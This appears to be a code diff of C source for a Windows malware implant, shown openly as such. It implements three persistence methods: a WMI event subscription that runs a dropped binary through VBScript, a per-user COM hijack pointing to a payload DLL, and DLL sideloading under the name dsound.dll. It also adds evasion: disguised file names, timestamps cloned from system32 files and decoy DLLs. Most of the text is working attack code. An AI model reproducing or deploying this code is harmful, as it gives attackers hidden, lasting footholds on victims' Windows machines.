if (FAILED((hResult = pObj->Put(pszProperty, 0, &var, 0))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemClassObject::Put", hResult);
|
||||
DBG("[i] Failed To Set Property '%ws'", pszProperty);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
SAFE_FREE_BSTR(var.bstrVal);
|
||||
return bResult;
|
||||
}
|
||||
|
||||
// IWbemClassObject::Put wrapper for boolean-typed properties
|
||||
static BOOL SetWbemPropertyBool(IN IWbemClassObject* pObj, IN LPCWSTR pszProperty, IN BOOL bValue)
|
||||
{
|
||||
VARIANT var = { 0 };
|
||||
HRESULT hResult = S_OK;
|
||||
|
||||
var.vt = VT_BOOL;
|
||||
var.boolVal = bValue ? VARIANT_TRUE : VARIANT_FALSE;
|
||||
|
||||
if (FAILED((hResult = pObj->Put(pszProperty, 0, &var, 0))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemClassObject::Put", hResult);
|
||||
DBG("[i] Failed To Set Property '%ws'", pszProperty);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// doubles every backslash found so that the result is safe to put in WQL
|
||||
static BOOL EscapeWqlBackslashes(IN LPCWSTR pszInput, OUT PWSTR pszOutput, IN DWORD cchOutput)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD j = 0;
|
||||
|
||||
if (!pszInput || !pszOutput || cchOutput == 0)
|
||||
return FALSE;
|
||||
|
||||
for (i = 0; pszInput[i] != L'\0' && j < cchOutput - 1; i++)
|
||||
{
|
||||
if (pszInput[i] == L'\\')
|
||||
{
|
||||
if (j + 2 >= cchOutput)
|
||||
return FALSE;
|
||||
|
||||
pszOutput[j++] = L'\\';
|
||||
pszOutput[j++] = L'\\';
|
||||
}
|
||||
else
|
||||
{
|
||||
pszOutput[j++] = pszInput[i];
|
||||
}
|
||||
}
|
||||
|
||||
pszOutput[j] = L'\0';
|
||||
return (pszInput[i] == L'\0');
|
||||
}
|
||||
|
||||
static BOOL CreateWmiEventSubscription(IN LPCWSTR pszBinaryPath, IN LPCWSTR pszRegHive, IN LPCWSTR pszRegKey, IN LPCWSTR pszValueName, IN LPCWSTR pszFilterPrefix, IN DWORD dwDelayInSeconds)
|
||||
{
|
||||
IWbemLocator* pLocator = NULL;
|
||||
IWbemServices* pSubscriptionSvc = NULL;
|
||||
IWbemClassObject* pClass = NULL;
|
||||
IWbemClassObject* pInstance = NULL;
|
||||
WCHAR szQuery[BUFFER_SIZE_1024] = { 0 };
|
||||
WCHAR szFilterName[BUFFER_SIZE_256] = { 0 };
|
||||
WCHAR szConsumerName[BUFFER_SIZE_256] = { 0 };
|
||||
WCHAR szFilterPath[BUFFER_SIZE_512] = { 0 };
|
||||
WCHAR szConsumerPath[BUFFER_SIZE_512] = { 0 };
|
||||
WCHAR szEscapedKey[BUFFER_SIZE_512] = { 0 };
|
||||
WCHAR szScriptText[BUFFER_SIZE_1024] = { 0 };
|
||||
HRESULT hResult = S_OK;
|
||||
BOOL bResult = FALSE;
|
||||
|
||||
if (!pszBinaryPath || !pszRegHive || !pszRegKey || !pszValueName || !pszFilterPrefix)
|
||||
{
|
||||
SetLastError(ERROR_INVALID_PARAMETER);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Escape backslashes in registry key path for WQL
|
||||
if (!EscapeWqlBackslashes(pszRegKey, szEscapedKey, ARRAYSIZE(szEscapedKey)))
|
||||
{
|
||||
SetLastError(ERROR_INSUFFICIENT_BUFFER);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Build the WQL event query
|
||||
if (wsprintfW(szQuery,
|
||||
L"SELECT * FROM RegistryValueChangeEvent "
|
||||
L"WHERE Hive = '%s' "
|
||||
L"AND KeyPath = '%s' "
|
||||
L"AND ValueName = '%s'",
|
||||
pszRegHive,
|
||||
szEscapedKey,
|
||||
pszValueName) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Build the VBScript payload that the consumer will execute on each trigger
|
||||
// WScript object does not exist in ActiveScriptEventConsumer (WScript.Sleep doesnt work), so
|
||||
// Were using the native VBScript timer loop instead
|
||||
// Also, Win32_Process.Create is used to launch the binary rather than Shell.Run or WScript.Shell
|
||||
if (wsprintfW(szScriptText,
|
||||
L"Dim oProcess\r\n"
|
||||
L"Dim pid\r\n"
|
||||
L"Dim t\r\n"
|
||||
L"t = Timer\r\n"
|
||||
L"Do While Timer < t + %d\r\n"
|
||||
L"Loop\r\n"
|
||||
L"Set oProcess = GetObject(\"winmgmts:\\\\.\\root\\cimv2:Win32_Process\")\r\n"
|
||||
L"oProcess.Create \"%s\", Null, Null, pid",
|
||||
dwDelayInSeconds,
|
||||
pszBinaryPath) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Build filter/consumer names. This isnt required but its better when we need to cleanup
|
||||
if (wsprintfW(szFilterName, L"%s_Filter", pszFilterPrefix) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (wsprintfW(szConsumerName, L"%s_Consumer", pszFilterPrefix) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Initialize COM
|
||||
if (FAILED((hResult = CoInitializeEx(NULL, COINIT_MULTITHREADED))))
|
||||
{
|
||||
DBG_HEX_ERROR("CoInitializeEx", hResult);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (FAILED((hResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL))) && hResult != RPC_E_TOO_LATE)
|
||||
{
|
||||
DBG_HEX_ERROR("CoInitializeSecurity", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (FAILED((hResult = CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLocator))))
|
||||
{
|
||||
DBG_HEX_ERROR("CoCreateInstance", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
// Connect to ROOT\subscription
|
||||
// This is the namespace where permanent subscriptions (filter, consumer, binding) must be stored to survive reboots
|
||||
if (FAILED((hResult = pLocator->ConnectServer(BSTR_LITERAL(L"ROOT\\subscription"), NULL, NULL, NULL, 0, NULL, NULL, &pSubscriptionSvc))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemLocator::ConnectServer", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
// Set the proxy authentication level on the returned IWbemServices proxy.
|
||||
// Without this, COM may use a lower authentication level than WMI requires for write operations to ROOT\subscription
|
||||
if (FAILED((hResult = CoSetProxyBlanket((IUnknown*)pSubscriptionSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE))))
|
||||
{
|
||||
DBG_HEX_ERROR("CoSetProxyBlanket", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
// Create __EventFilter. This defines the WQL condition that triggers the subscription
|
||||
if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"__EventFilter"), 0, NULL, &pClass, NULL))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemServices::GetObject", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!SetWbemPropertyString(pInstance, L"Name", szFilterName)) goto _END_OF_FUNC;
|
||||
if (!SetWbemPropertyString(pInstance, L"QueryLanguage", L"WQL")) goto _END_OF_FUNC;
|
||||
if (!SetWbemPropertyString(pInstance, L"Query", szQuery)) goto _END_OF_FUNC;
|
||||
if (!SetWbemPropertyString(pInstance, L"EventNamespace", L"root\\default")) goto _END_OF_FUNC; // RegistryValueChangeEvent is available from root\default
|
||||
|
||||
if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemServices::PutInstance", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
DBG("[+] Event Filter Created: %ws", szFilterName);
|
||||
|
||||
pClass->Release(); pClass = NULL;
|
||||
pInstance->Release(); pInstance = NULL;
|
||||
|
||||
// Create ActiveScriptEventConsumer. This runs the VBScript payload
|
||||
if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"ActiveScriptEventConsumer"), 0, NULL, &pClass, NULL))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemServices::GetObject", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!SetWbemPropertyString(pInstance, L"Name", szConsumerName)) goto _END_OF_FUNC;
|
||||
if (!SetWbemPropertyString(pInstance, L"ScriptingEngine", L"VBScript")) goto _END_OF_FUNC;
|
||||
if (!SetWbemPropertyString(pInstance, L"ScriptText", szScriptText)) goto _END_OF_FUNC;
|
||||
|
||||
if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemServices::PutInstance", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
DBG("[+] ActiveScript Consumer Created: %ws", szConsumerName);
|
||||
|
||||
pClass->Release(); pClass = NULL;
|
||||
pInstance->Release(); pInstance = NULL;
|
||||
|
||||
// Create __FilterToConsumerBinding. This is to link the filter and consumer so WMI knows to invoke the consumer when the filter is triggered
|
||||
if (wsprintfW(szFilterPath, L"__EventFilter.Name=\"%s\"", szFilterName) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (wsprintfW(szConsumerPath, L"ActiveScriptEventConsumer.Name=\"%s\"", szConsumerName) < 0)
|
||||
{
|
||||
DBG_LAST_ERROR("wsprintfW");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (FAILED((hResult = pSubscriptionSvc->GetObject(BSTR_LITERAL(L"__FilterToConsumerBinding"), 0, NULL, &pClass, NULL))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemServices::GetObject", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (FAILED((hResult = pClass->SpawnInstance(0, &pInstance))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemClassObject::SpawnInstance", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if (!SetWbemPropertyString(pInstance, L"Filter", szFilterPath)) goto _END_OF_FUNC;
|
||||
if (!SetWbemPropertyString(pInstance, L"Consumer", szConsumerPath)) goto _END_OF_FUNC;
|
||||
|
||||
if (FAILED((hResult = pSubscriptionSvc->PutInstance(pInstance, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL))))
|
||||
{
|
||||
DBG_HEX_ERROR("IWbemServices::PutInstance", hResult);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
DBG("[*] WMI Subscription Created Successfully");
|
||||
DBG("[i] Script Text:\n%ws", szScriptText);
|
||||
DBG("[i] WQL Query: %ws", szQuery);
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
_END_OF_FUNC:
|
||||
// Release COM objects in reverse dependency order
|
||||
if (pClass) pClass->Release();
|
||||
if (pInstance) pInstance->Release();
|
||||
if (pSubscriptionSvc) pSubscriptionSvc->Release();
|
||||
if (pLocator) pLocator->Release();
|
||||
CoUninitialize();
|
||||
return bResult;
|
||||
}
|
||||
|
||||
BOOL DropExecutableForWmi()
|
||||
{
|
||||
WCHAR wszCurrentExePath[MAX_PATH] = { 0 };
|
||||
WCHAR wszCurrentExeDir[MAX_PATH] = { 0 };
|
||||
WCHAR wszDestExePath[MAX_PATH] = { 0 };
|
||||
HRESULT hResult = S_OK;
|
||||
|
||||
if (GetModuleFileNameW(GetModuleHandleW(NULL), wszCurrentExePath, MAX_PATH) == 0)
|
||||
{
|
||||
DBG_LAST_ERROR("GetModuleFileNameW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Split current exe path into directory and file name
|
||||
if (FAILED((hResult = StringCchCopyW(wszCurrentExeDir, ARRAYSIZE(wszCurrentExeDir), wszCurrentExePath))))
|
||||
{
|
||||
DBG_HEX_ERROR("StringCchCopyW", hResult);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PathRemoveFileSpecW(wszCurrentExeDir);
|
||||
|
||||
// Copy self to the WMI installation directory
|
||||
if (!CopyFileToDirW(WMI_EXE_INSTALLATION_DIR, WMI_EXE_INSTALLATION_NAME, wszCurrentExeDir, PathFindFileNameW(wszCurrentExePath), wszDestExePath, ARRAYSIZE(wszDestExePath)))
|
||||
return FALSE;
|
||||
|
||||
{
|
||||
// Clone the timestamp of a real system32 binary used to make SgrmBroker.exe (our renamed exe) blend in
|
||||
#define WMI_TIMESTAMP_SOURCE_EXE L"sihost.exe"
|
||||
|
||||
WCHAR wszWbemSrcPath[MAX_PATH] = { 0 };
|
||||
|
||||
if (GetSystem32PathW(WMI_TIMESTAMP_SOURCE_EXE, wszWbemSrcPath, MAX_PATH))
|
||||
CloneFileTimestampsW(wszWbemSrcPath, wszDestExePath);
|
||||
|
||||
#undef WMI_TIMESTAMP_SOURCE_EXE
|
||||
}
|
||||
|
||||
DBG("[+] Executable Copied To: %ws", wszDestExePath);
|
||||
|
||||
if (!CreateWmiEventSubscription(wszDestExePath, WMI_TRIGGER_REG_HIVE, WMI_TRIGGER_REG_KEY, WMI_TRIGGER_REG_VALUE, WMI_OBJECT_PREFIX, WMI_TRIGGER_DELAY))
|
||||
{
|
||||
if (!DeleteFileW(wszDestExePath))
|
||||
{
|
||||
DBG_LAST_ERROR("DeleteFileW");
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
#pragma endregion
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#pragma region COM_PERSISTENCE
|
||||
|
||||
// Copies a set of decoy DLLs into the target directory, so that the new directory doesnt hold our DLL only
|
||||
static VOID DropDecoyDlls(IN LPCWSTR wszDestDir)
|
||||
{
|
||||
WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
|
||||
WCHAR wszCopiedDllDst[MAX_PATH] = { 0 };
|
||||
CONST WCHAR* pwszDecoyDllNames[] =
|
||||
{
|
||||
DLL_ENTRY(1),
|
||||
DLL_ENTRY(2),
|
||||
DLL_ENTRY(3),
|
||||
DLL_ENTRY(4),
|
||||
DLL_ENTRY(5),
|
||||
DLL_ENTRY(6)
|
||||
};
|
||||
|
||||
for (int i = 0; i < COM_DECOY_DLLS_COUNT; i++)
|
||||
{
|
||||
RtlZeroMemory(wszSystem32DllPath, sizeof(wszSystem32DllPath));
|
||||
RtlZeroMemory(wszCopiedDllDst, sizeof(wszCopiedDllDst));
|
||||
|
||||
// From system32, copy with the same name
|
||||
if (!CopyFileToDirW(wszDestDir, NULL, NULL, pwszDecoyDllNames[i], wszCopiedDllDst, ARRAYSIZE(wszCopiedDllDst)))
|
||||
{
|
||||
DBG("[!] CopyFileToDirW Failed For: %ws", pwszDecoyDllNames[i]);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (GetSystem32PathW(pwszDecoyDllNames[i], wszSystem32DllPath, MAX_PATH))
|
||||
CloneFileTimestampsW(wszSystem32DllPath, wszCopiedDllDst);
|
||||
}
|
||||
}
|
||||
|
||||
// Writes the memory DLL buffer (obtained from our patched EXE) to the specified path on disk
|
||||
static BOOL DropComDllToDisk(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize, IN LPCWSTR pwszDllPath)
|
||||
{
|
||||
if (!pDllFileBuffer || dwDllFileSize == 0x00 || !pwszDllPath)
|
||||
return FALSE;
|
||||
|
||||
// Extract directory from full path and create it if it doesn't exist
|
||||
if (!EnsureDirectoryExistsW(pwszDllPath, TRUE))
|
||||
return FALSE;
|
||||
|
||||
if (!WriteFileToDiskW(pwszDllPath, pDllFileBuffer, dwDllFileSize))
|
||||
{
|
||||
DBG("[!] Failed To Write DLL To: %ws", pwszDllPath);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL InstallComHijack(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize)
|
||||
{
|
||||
WCHAR wszSideloadDllPath[MAX_PATH] = { 0 };
|
||||
WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
|
||||
WCHAR wszOriginalDllDst[MAX_PATH] = { 0 };
|
||||
|
||||
if (!pDllFileBuffer || dwDllFileSize == 0x00)
|
||||
return FALSE;
|
||||
|
||||
if (!ExpandEnvironmentStringsW(COM_DLL_DIR L"\\" COM_PAYLOAD_DLL_NAME, wszSideloadDllPath, ARRAYSIZE(wszSideloadDllPath)))
|
||||
{
|
||||
DBG_LAST_ERROR("ExpandEnvironmentStringsW");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Write the payload DLL path as the default value of the COM server key
|
||||
if (!SetRegistryStringW(HKEY_CURRENT_USER, COM_HIJACK_KEY, NULL, wszSideloadDllPath, FALSE))
|
||||
{
|
||||
DBG("[!] Failed To Set COM Hijack DLL Path");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!SetRegistryStringW(HKEY_CURRENT_USER, COM_HIJACK_KEY, COM_THREADING_MODEL, COM_THREADING_VALUE, TRUE))
|
||||
{
|
||||
DBG("[!] Failed To Set COM Threading Model");
|
||||
DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Copy the legitimate system DLL 'Windows.StateRepositoryPS.dll' (COM_SYSTEM_DLL_NAME) from System32
|
||||
// into the payload directory under the forward DLL name 'Common.StateRepositoryRM.dll' (COM_FORWARD_DLL_NAME)
|
||||
if (!CopyFileToDirW(COM_DLL_DIR, COM_FORWARD_DLL_NAME, NULL, COM_SYSTEM_DLL_NAME, wszOriginalDllDst, ARRAYSIZE(wszOriginalDllDst)))
|
||||
{
|
||||
DBG("[!] Failed To Copy Forward DLL");
|
||||
DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DropDecoyDlls(COM_DLL_DIR);
|
||||
|
||||
if (!DropComDllToDisk(pDllFileBuffer, dwDllFileSize, wszSideloadDllPath))
|
||||
{
|
||||
DBG("[!] Failed To Drop COM DLL To Disk");
|
||||
DeleteRegistryKeyW(HKEY_CURRENT_USER, COM_HIJACK_KEY);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (GetSystem32PathW(COM_SYSTEM_DLL_NAME, wszSystem32DllPath, MAX_PATH))
|
||||
{
|
||||
CloneFileTimestampsW(wszSystem32DllPath, wszOriginalDllDst);
|
||||
CloneFileTimestampsW(wszSystem32DllPath, wszSideloadDllPath);
|
||||
}
|
||||
|
||||
DBG("[+] COM Hijack Installed | Key: %ws | DLL: %ws", COM_HIJACK_KEY, wszSideloadDllPath);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
#pragma endregion
|
||||
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#pragma region SIDELOADING_PERSISTENCE
|
||||
|
||||
BOOL DropSideloadDlls(IN BYTE* pDllFileBuffer, IN DWORD dwDllFileSize)
|
||||
{
|
||||
WCHAR wszOriginalDllDst[MAX_PATH] = { 0 };
|
||||
WCHAR wszSystem32DllPath[MAX_PATH] = { 0 };
|
||||
WCHAR wszSideloadDllPath[MAX_PATH] = { 0 };
|
||||
|
||||
if (!pDllFileBuffer || dwDllFileSize == 0x00)
|
||||
return FALSE;
|
||||
|
||||
// Copy the legitimate system DLL 'dsound.dll' (SIDELOAD_PAYLOAD_DLL) from System32
|
||||
// into the payload directory under the forward DLL name 'dspatial.dll' (SIDELOAD_FORWARD_DLL)
|
||||
if (!CopyFileToDirW(SIDELOAD_APP_DIR, SIDELOAD_FORWARD_DLL, NULL, SIDELOAD_PAYLOAD_DLL, wszOriginalDllDst, ARRAYSIZE(wszOriginalDllDst)))
|
||||
{
|
||||
DBG("[!] CopyFileToDirW Failed For: %ws", SIDELOAD_PAYLOAD_DLL);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!ExpandEnvironmentStringsW(SIDELOAD_APP_DIR L"\\" SIDELOAD_PAYLOAD_DLL, wszSideloadDllPath, ARRAYSIZE(wszSideloadDllPath)))
|
||||
{
|
||||
DBG_LAST_ERROR("ExpandEnvironmentStringsW");
|
||||
goto _DELETE_COPIED_DLL;
|
||||
}
|
||||
|
||||
// Write the payload DLL under the name the application will load 'dsound.dll' (SIDELOAD_PAYLOAD_DLL)
|
||||
if (!WriteFileToDiskW(wszSideloadDllPath, pDllFileBuffer, dwDllFileSize))
|
||||
{
|
||||
DBG("[!] Failed To Write Sideload DLL To: %ws", wszSideloadDllPath);
|
||||
goto _DELETE_COPIED_DLL;
|
||||
}
|
||||
|
||||
if (GetSystem32PathW(SIDELOAD_PAYLOAD_DLL, wszSystem32DllPath, MAX_PATH))
|
||||
{
|
||||
CloneFileTimestampsW(wszSystem32DllPath, wszOriginalDllDst);
|
||||
CloneFileTimestampsW(wszSystem32DllPath, wszSideloadDllPath);
|
||||
}
|
||||
|
||||
DBG("[+] Sideload DLL Written To: %ws", wszSideloadDllPath);
|
||||
|
||||
return TRUE;
|
||||
|
||||
_DELETE_COPIED_DLL:
|
||||
|
||||
if (!DeleteFileW(wszOriginalDllDst))
|
||||
{
|
||||
DBG_LAST_ERROR("DeleteFileW");
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#pragma endregion
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#pragma region PAYLOAD_VERIFICATION
|
||||
|
||||
// Checks whether a DWORD registry value already exists and matches the expected value.
|
||||
// If it does not exist, or exists with a different value, it is created/overwritten
|
||||
BOOL VerifyOrCreateRegistryFlag(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwExpectedValue, OUT OPTIONAL BOOL* pbAlreadyExisted)
|
||||
{
|
||||
DWORD dwActualValue = 0x00;
|
||||
BOOL bOverwrite = FALSE;
|
||||
|
||||
if (pbAlreadyExisted)
|
||||
*pbAlreadyExisted = FALSE;
|
||||
|
||||
if (GetRegistryDwordW(hRoot, pwszPath, pwszName, &dwActualValue))
|
||||
{
|
||||
if (dwActualValue == dwExpectedValue)
|
||||
{
|
||||
if (pbAlreadyExisted)
|
||||
*pbAlreadyExisted = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
// Value exists but holds a mismatching value, so we need to overwrite
|
||||
bOverwrite = TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
DBG("[i] Registry Key Not Found, Creating ...");
|
||||
}
|
||||
|
||||
if (!SetRegistryDwordW(hRoot, pwszPath, pwszName, dwExpectedValue, bOverwrite))
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
#pragma endregion
|
||||
@@ -0,0 +1,450 @@
|
||||
#include "Headers.h"
|
||||
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#pragma region STRING_MANIPLUATION
|
||||
|
||||
LPVOID ConvertString(IN LPVOID pvSrc, IN INT cbSrc, IN STRING_ENCODING Encoding)
|
||||
{
|
||||
INT cbNeeded = 0x00;
|
||||
LPVOID pvDst = NULL;
|
||||
UINT uCodePage = 0x00;
|
||||
|
||||
if (!pvSrc || cbSrc == 0) return NULL;
|
||||
|
||||
switch (Encoding)
|
||||
{
|
||||
case ENCODING_ANSI_TO_WIDE:
|
||||
case ENCODING_UTF8_TO_WIDE:
|
||||
{
|
||||
uCodePage = (Encoding == ENCODING_UTF8_TO_WIDE) ? CP_UTF8 : CP_ACP;
|
||||
|
||||
if ((cbNeeded = MultiByteToWideChar(uCodePage, 0, (LPCSTR)pvSrc, cbSrc, NULL, 0)) <= 0)
|
||||
{
|
||||
DBG_LAST_ERROR("MultiByteToWideChar");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HEAP_ALLOC(pvDst, ((cbNeeded + 1) * sizeof(WCHAR)));
|
||||
if (!pvDst) return NULL;
|
||||
|
||||
MultiByteToWideChar(uCodePage, 0, (LPCSTR)pvSrc, cbSrc, (LPWSTR)pvDst, cbNeeded);
|
||||
break;
|
||||
}
|
||||
|
||||
case ENCODING_WIDE_TO_ANSI:
|
||||
case ENCODING_WIDE_TO_UTF8:
|
||||
{
|
||||
uCodePage = (Encoding == ENCODING_WIDE_TO_UTF8) ? CP_UTF8 : CP_ACP;
|
||||
|
||||
if ((cbNeeded = WideCharToMultiByte(uCodePage, 0, (LPCWSTR)pvSrc, cbSrc, NULL, 0, NULL, NULL)) <= 0)
|
||||
{
|
||||
DBG_LAST_ERROR("WideCharToMultiByte");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HEAP_ALLOC(pvDst, (cbNeeded + 1));
|
||||
if (!pvDst) return NULL;
|
||||
|
||||
WideCharToMultiByte(uCodePage, 0, (LPCWSTR)pvSrc, cbSrc, (LPSTR)pvDst, cbNeeded, NULL, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
case ENCODING_ANSI_TO_UTF8:
|
||||
{
|
||||
LPWSTR pwszIntermediate = (LPWSTR)ConvertString(pvSrc, cbSrc, ENCODING_ANSI_TO_WIDE);
|
||||
if (!pwszIntermediate) return NULL;
|
||||
|
||||
pvDst = ConvertString(pwszIntermediate, (SIZE_T)lstrlenW(pwszIntermediate), ENCODING_WIDE_TO_UTF8);
|
||||
HEAP_FREE(pwszIntermediate);
|
||||
break;
|
||||
}
|
||||
|
||||
case ENCODING_UTF8_TO_ANSI:
|
||||
{
|
||||
LPWSTR pwszIntermediate = (LPWSTR)ConvertString(pvSrc, cbSrc, ENCODING_UTF8_TO_WIDE);
|
||||
if (!pwszIntermediate) return NULL;
|
||||
|
||||
pvDst = ConvertString(pwszIntermediate, (SIZE_T)lstrlenW(pwszIntermediate), ENCODING_WIDE_TO_ANSI);
|
||||
HEAP_FREE(pwszIntermediate);
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return pvDst;
|
||||
}
|
||||
|
||||
#pragma endregion
|
||||
|
||||
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
|
||||
|
||||
#pragma region FILE_IO
|
||||
|
||||
BOOL ReadFileFromDiskW(IN LPCWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize)
|
||||
{
|
||||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||
DWORD dwFileSize = 0x00,
|
||||
dwNumberOfBytesRead = 0x00;
|
||||
PBYTE pBaseAddress = NULL;
|
||||
|
||||
if (!szFileName || !pdwFileSize || !ppFileBuffer)
|
||||
return FALSE;
|
||||
|
||||
if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
DBG_LAST_ERROR("CreateFileW");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE)
|
||||
{
|
||||
DBG_LAST_ERROR("GetFileSize");
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
HEAP_ALLOC(pBaseAddress, dwFileSize);
|
||||
if (!pBaseAddress) goto _END_OF_FUNC;
|
||||
|
||||
if (!ReadFile(hFile, pBaseAddress, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead)
|
||||
{
|
||||
DBG_LAST_ERROR("ReadFile");
|
||||
DBG("[i] Read %d Of %d Bytes", dwNumberOfBytesRead, dwFileSize);
|
||||
goto _END_OF_FUNC;
|
||||
}
|
||||
|
||||
*ppFileBuffer = pBaseAddress;
|
||||
*pdwFileSize = dwFileSize;
